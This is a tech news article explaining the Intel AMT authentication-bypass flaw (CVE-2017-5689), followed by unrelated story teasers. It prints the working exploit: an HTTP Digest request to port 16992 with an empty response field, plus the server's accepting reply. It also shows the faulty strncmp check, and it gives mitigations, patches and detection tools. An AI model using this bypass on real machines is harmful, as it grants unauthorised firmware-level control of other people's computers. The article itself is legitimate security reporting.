How to remote hijack computers using Intel's insecure chips: Just use an empty login string

Exploit to pwn systems using vPro and AMT


Code dive You can remotely commandeer and control computers that use vulnerable Intel chipsets by sending them empty authentication strings.

You read that right. When you're expected to send a password hash, you send zero bytes. Nothing. Nada. And you'll be rewarded with powerful low-level access to a vulnerable box's hardware from across the network – or across the internet if the management interface faces the public web.

Remember that the next time Intel, a $180bn international semiconductor giant, talks about how important it treats security.

To recap: Intel provides a remote management toolkit called AMT for its business and enterprise-friendly processors; this software is part of Chipzilla's vPro suite and runs at the firmware level, below and out of sight of Windows, Linux, or whatever operating system you're using. The code runs on Intel's Management Engine, a tiny secret computer within your computer that has full control of the hardware and talks directly to the network port, allowing a device to be remotely controlled regardless of whatever OS and applications are running, or not, above it.

Thus, AMT is designed to allow IT admins to remotely log into the guts of computers so they can reboot a knackered machine, repair and tweak the operating system, install a new OS, access a virtual serial console, or gain full-blown remote desktop access via VNC. It is, essentially, god mode.

Normally, AMT is password protected. This week it emerged this authentication can be bypassed, potentially allowing miscreants to take over systems from afar or once inside a corporate network. This critical security bug was designated CVE-2017-5689. While Intel has patched its code, people have to pester their hardware suppliers for the necessary updates before they can be installed.

Today we've learned it is trivial to exploit this flaw, allowing anyone to gain control of vulnerable systems without a password.

AMT is accessed over the network via a bog-standard web interface: the service listens on ports 16992 and 16993. Visiting this with a browser brings up a prompt for a password, and this passphrase is sent using standard HTTP Digest authentication: the username and password are hashed using a nonce from the AMT firmware plus a few other bits of metadata. This scrambled response is checked by the AMT software to be valid, and if so, access is granted to the management interface.

But if you send an empty response, the firmware is fooled into thinking this is correct and lets you through. This means if you use a proxy to change the response to an empty string, or otherwise set up your browser to send empty HTTP Digest authentication responses, you can bypass the password checks.

Essentially, behind the scenes, your browser would normally send something like this to the AMT service, which includes the hashed response string containing the username, password and server nonce:

GET /index.htm HTTP/1.1
Host: 192.168.1.2:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2:16992/logon.htm
Connection: keep-alive
Authorization: Digest username=»admin»,
realm=»Digest:048A0000000000000000000000000000»,
nonce=»Q0UGAAQEAAAV4M4iGF4+Ni5ZafuMWy9J», uri=»/index.htm»,
response=»d3d4914a43454b159a3fa6f5a91d801d», qop=auth, nc=00000001,
cnonce=»9c5beca4011eea5c»

Well, screw that – using a proxy between you and the device, or a similar traffic-editing tool, just strip out the response hash to send instead:

GET /index.htm HTTP/1.1
Host: 127.0.0.1:16992
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Authorization: Digest username=»admin»,
realm=»Digest:048A0000000000000000000000000000»,
nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n», uri=»/index.htm», response=»»,
qop=auth, nc=00000001, cnonce=»60513ab58858482c»

Notice how response is now empty. And yet Intel's bouncer lets you in, even though you flashed the doorman no password – no valid ID – at all:

HTTP/1.1 200 OK
Date: Thu, 4 May 2017 16:09:17 GMT
Server: AMT
Content-Type: text/html
Transfer-Encoding: chunked
Cache-Control: no cache
Expires: Thu, 26 Oct 1995 00:00:00 GMT

If you poke around inside Intel's firmware, you'll find this gem that lies at the heart of the matter – machine code that decompiles into C that looks pretty much like this:

if(strncmp(computed_response, user_response, response_length))
   deny_access();

As you may well know, this standard function compares no more than response_length bytes in the two supplied strings to check if they are identical or not. The two strings compared here are the authentication response sent by person trying to log in (user_response) and the response expected by the service (computed_response). If both strings match, the function returns zero, indicating the password is good and as expected, and the code continues on to grant access. If the strings differ, the function's return value is non-zero, meaning the password is wrong, so access is denied. So far so good.

Unfortunately, response_length is calculated from user_response, so if an empty string is supplied, the length is zero, no bytes are checked, no bytes are therefore different, and – as expected – strncmp() returns zero, indicating success, and access is granted. Thus, an empty response string slips through as valid when it's actually invalid.

Intel should really check the two strings are the same length, since valid responses are always 32-byte MD5 hashes.

Thanks go to Embedi, which reverse engineered the code [PDF] and also reported the flaw to Intel back in March. Tenable also poked around in the service and came to the same conclusion earlier this week.

Intel has published some more info on the vulnerability here, which includes links to a tool to check if your system is at-risk, support contact details, and a list of mitigations to reduce the threat. That tool is apparently Windows-only; there's info here for Linux peeps.

There is also this third-party tool, here, for disabling AMT from Windows.

We're told the programming blunder is present in various, but not all, Intel processor chipsets from today's Kaby Lake family back to silicon sold in 2010: it mainly affects business PCs, professional workstations and small servers, rather than devices aimed at normal folk. However, Chipzilla admitted today that "consumers and small businesses" may end up using processors with the vulnerable tech present.

If you're using a vPro-enabled processor and have provisioned AMT versions 6 to 11.6 on your network, you are definitely at risk of the above vulnerability. This also affects Intel's Standard Manageability (ISM) and Small Business Technology (SBT) products. We recommend you use Intel's utility to double check whether or not you are being silently menaced by this bug.

How bad is this bug? Pretty bad. "The exploit is trivial, a maximum of five lines of Python, and could be doable in a one-line shell command," said SSH inventor Tatu Ylonen.

"It gives full control of affected machines, including the ability to read and modify everything. It can be used to install persistent malware – possibly in the firmware – and read and modify any data. For security servers, it may allow disabling security features, creating fake credentials, or obtaining root keys.

"Disable AMT today. Mobilize whomever you need. Start from the most critical servers: Active Directory, certificate authorities, critical databases, code signing servers, firewalls, security servers, HSMs (if they have it enabled). For data centers, if you can, block ports 16992, 16993, 16994, 16995, 623, 664 in internal firewalls now.

"If you have anything connected to the Internet with AMT on, disable it now. Assume the server has already been compromised."

The last time we looked on Shodan, there were more than 8,000 potentially vulnerable systems on the public internet. There will be thousands upon thousands more on internal corporate networks.

Similar topics


Other stories you might like

  • India reveals home-grown server that won't worry the leading edge

    And a National Blockchain Strategy that calls for gov to host BaaS

    India's government has revealed a home-grown server design that is unlikely to threaten the pacesetters of high tech, but (it hopes) will attract domestic buyers and manufacturers and help to kickstart the nation's hardware industry.

    The "Rudra" design is a two-socket server that can run Intel's Cascade Lake Xeons. The machines are offered in 1U or 2U form factors, each at half-width. A pair of GPUs can be equipped, as can DDR4 RAM.

    Cascade Lake emerged in 2019 and has since been superseded by the Ice Lake architecture launched in April 2021. Indian authorities know Rudra is off the pace, and said a new design capable of supporting four GPUs is already in the works with a reveal planned for June 2022.

    Continue reading
  • Prisons transcribe private phone calls with inmates using speech-to-text AI

    Plus: A drug designed by machine learning algorithms to treat liver disease reaches human clinical trials and more

    In brief Prisons around the US are installing AI speech-to-text models to automatically transcribe conversations with inmates during their phone calls.

    A series of contracts and emails from eight different states revealed how Verus, an AI application developed by LEO Technologies and based on a speech-to-text system offered by Amazon, was used to eavesdrop on prisoners’ phone calls.

    In a sales pitch, LEO’s CEO James Sexton told officials working for a jail in Cook County, Illinois, that one of its customers in Calhoun County, Alabama, uses the software to protect prisons from getting sued, according to an investigation by the Thomson Reuters Foundation.

    Continue reading
  • Battlefield 2042: Please don't be the death knell of the franchise, please don't be the death knell of the franchise

    Another terrible launch, but DICE is already working on improvements

    The RPG Greetings, traveller, and welcome back to The Register Plays Games, our monthly gaming column. Since the last edition on New World, we hit level cap and the "endgame". Around this time, item duping exploits became rife and every attempt Amazon Games made to fix it just broke something else. The post-level 60 "watermark" system for gear drops is also infuriating and tedious, but not something we were able to address in the column. So bear these things in mind if you were ever tempted. On that note, it's time to look at another newly released shit show – Battlefield 2042.

    I wanted to love Battlefield 2042, I really did. After the bum note of the first-person shooter (FPS) franchise's return to Second World War theatres with Battlefield V (2018), I stupidly assumed the next entry from EA-owned Swedish developer DICE would be a return to form. I was wrong.

    The multiplayer military FPS market is dominated by two forces: Activision's Call of Duty (COD) series and EA's Battlefield. Fans of each franchise are loyal to the point of zealotry with little crossover between player bases. Here's where I stand: COD jumped the shark with Modern Warfare 2 in 2009. It's flip-flopped from WW2 to present-day combat and back again, tried sci-fi, and even the Battle Royale trend with the free-to-play Call of Duty: Warzone (2020), which has been thoroughly ruined by hackers and developer inaction.

    Continue reading

Biting the hand that feeds IT © 1998–2021